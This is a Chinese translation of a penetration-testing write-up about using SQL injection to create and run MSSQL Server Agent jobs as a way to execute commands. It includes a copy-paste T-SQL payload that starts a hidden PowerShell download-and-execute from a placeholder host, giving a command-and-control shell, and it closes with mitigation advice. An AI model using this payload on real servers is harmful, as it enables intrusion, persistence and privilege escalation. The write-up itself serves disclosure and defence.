MSSQL注入时通过Agent Job执行命令的方法

因为MSSQL 2005以后的版本默认禁止了XP_CMDSHELL,如果服务器开启了MSSQL Agent Job服务,并且有权限新建和执行agent jobs的话,配合cobaltstrike的powershell payload会返回一个SQLSERVERAGENT权限的shell。操作的具体步骤可以参考视频,实际操作的时候需注意URL编码问题。

写在前面的话

Optiv渗透测试(A&P)团队的主要目标就是通过模拟恶意黑客的攻击行为来测试公司的安全防御的有效性。所谓安全测试,就是要通过模拟真实的攻击场景对企业或组织的安全解决方案进行多方面的评估。这种类型的安全评估不仅可以帮助组织确定自己的信息安全防护能力,还可以帮助他们提升系统的安全性。除此之外,安全研究人员还可以在测试过程中找出那些安全意识薄弱的雇员,企业就可以对这部分人进行额外的安全培训,以尽可能地避免因不安全的人为操作而导致的安全事件发生。

实际上在信息安全领域中,攻击者和防御者一直都在玩着一种“猫捉老鼠”的游戏,而且信息安全攻防也是一场永无止境的“军备竞赛”。恶意攻击者会使用新型的攻击手段来发动攻击,而安全专家又需要针对这些攻击方法来设计并部署相应的检测和防御措施。因此,从安全防御的角度出发,企业或组织应该以一种积极主动的态度来与网络恶势力对抗。各个组织应当要能够识别新型的攻击,并且提前采取适当的措施来抵御这些攻击,这就是我们所说的“先发制人”。

 

 

长期以来,Optiv公司的A&P团队无论在攻击端还是防御端都一直保持着自己的技术专业性,而且Optiv公司提供给用户的安全防御方法可以有效地检测并防御新型的网络攻击。如果组织想要在这个不断变化的安全威胁环境中生存下来,那么就必须要有一个专业的安全团队来帮助他们评估攻击者可能会采用的攻击策略、攻击技术、以及攻击过程(TTP),并且在安全团队的帮助下,利用这些评估数据来提升自己的安全性。在这种情况下,Optiv公司也许是一个最合适的选择。

未被发现的攻击

现在,很多攻击者在发动恶意攻击的时候已经不会单纯地去追求成功率了,因为他们还需要保证自己的攻击活动不被检测到。如果企业在检测和发现数据泄漏的过程中耗费的时间越久,那么攻击者就会有更多的时间去识别并提取系统中的敏感数据。不仅如此,攻击者甚至还可以利用这个被入侵的网络系统来作为一个支点,并进行其他的恶意攻击活动。

Optiv公司的A&P团队会设计并实施一些高级的网络攻击,而我们的目标就是通过这些攻击来发现防御端与攻击端之间的差距,并帮助组织提升安全防护能力。

微软的SQL Server Agent

近期,Optiv公司的安全研究专家发现了一种新型的攻击手段。如果MSSQL数据库中开启了MSSQL Server Agent Job服务的话,攻击者将可以利用MSSQL Server中自带的功能来获取一个shell。

 

 

MSSQL Server代理是一个Windows服务,它可以被用来执行自动化任务。管理员可以设置定时代理作业,然后在MSSQL Server代理服务中执行这些定时作业。但是,如果使用了代理的话,这些作业(job)就可以使用不同的证书来执行了。

攻击浅析

在近期的一次安全分析中,研究人员在一个使用了MSSQL Server 2012的Web应用中发现了一个SQL注入漏洞。在客户的要求下,Optiv以一种非公开的方式对目标进行了安全评估,并且在评估的过程中尽可能地避免被检测到。Optiv设计出了一种新的攻击方法,研究人员可以利用MSSQL Server中的本地功能来在Windows操作系统中执行任意命令。在整个测试过程中,xp_cmdshell存储过程已被禁用了,并且限制了创建自定义存储过程的能力。

当xp_cmdshell扩展存储过程在攻击中被使用时,大多数安全监控或检测系统都会产生警报。而攻击者和渗透测试人员对xp_cmdshell的滥用已经导致很多组织和企业开始禁用或限制xp_cmdshell了。

Optiv发现了一种攻击场景,攻击者或可利用MSSQL Server代理来在目标数据库服务器中执行任意控制命令。但是,目标服务器必须满足一下几个条件:

1. 目标服务器必须开启了MSSQL Server代理服务;

2. 服务器中当前运行的用户账号必须拥有足够的权限去创建并执行代理作业;

Optiv已经发现了两个攻击者可以利用的MSSQL代理作业子系统:CmdExec和PowerShell子系统,这两个功能可以分别用来执行操作系统命令和PowerShell脚本。

 

 

Optiv的安全研究专家可以使用SQL注入点来创建并执行代理任务。任务所需执行的命令是一段PowerShell代码,这段代码可以让目标系统与一个受Optiv控制的IP地址进行通信连接,然后下载额外的PowerShell指令。这样一来,就可以在目标数据库服务器与Optiv控制的服务器之间建立一条可交互的命令控制会话了。

下面这张代码截图显示的是已被拆分的SQL语句。请注意,在下面这段下载命令中,URI位于两个单引号之间,而不是之前的双引号。这样做是为了在SQL语句中转义单引号。

 

 

1

USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';

如果你想要复现攻击场景的话,上面这段代码可以方便你进行复制粘贴。接下来,我们将通过下面的例子来给大家进行攻击演示。

攻击示例

如下图所示,SQL语句已经进行了URL编码处理。在这个攻击示例中,攻击是通过HTTP GET请求来发送的,因此我们需要对攻击payload进行URL编码。

 

 

大家可以看到,我们在HTTP GET请求的参数中添加了SQL注入payload,这样我们就可以使用SQL注入了。(请注意我们在payload的开头处添加的%20(空格符))

 

 

当payload运行之后,我们就可以看到命令控制会话已经建立成功了,并且使用的是“SQLSERVERAGENT”账号的权限。

 

 

在目标主机的SQL Server中,我们可以看到SQL代理作业已经创建成功了。

 

 

我们在这里给大家提供了一个完整的攻击演示视频:

 

Flash 动画

 

攻击过后的安全剖析

如果目标主机运行了MSSQL代理服务,并且代理服务使用的用户账号可以访问其他的MSSQL Server的话,那么攻击者就可以利用这种攻击来在其他的MSSQL Server中执行MSSQL Server代理作业了。除此之外,攻击者还可以设置定时代理作业,这也就意味着,攻击者不仅可以利用这种方式来躲避安全检测,而且还可以实现对目标MSSQL Server的持久化控制。

在某些情况下,如果MSSQL Server代理服务使用的是权限更高的用户账号,那么攻击者就可以通过这种攻击来实现提权。

攻击缓解方案

 

 

常用的Web应用安全保护策略应该都可以防止这种类似SQL注入的攻击。用户应该在Web应用中使用事先定义好的SQL查询语句,然后从后台数据库中提取出Web应用的事务处理逻辑。除此之外,用户也应该部署Web应用防火墙来检测并阻止这种攻击。

如果内部系统无需直接访问互联网主机的话,用户应该直接阻止这类操作,这样就可以防止攻击者在组织内部服务器与外部恶意服务器之间建立通信连接了。除此之外,管理员也应该部署严格的数据输出过滤策略。

由于攻击者可以利用MSSQL Server代理作业来在其他的数据库服务器中执行SQL查询操作,那么为了限制这种攻击,我们就要严格控制数据库用户账号的权限,即按照“最小权限原则”来分配账号权限。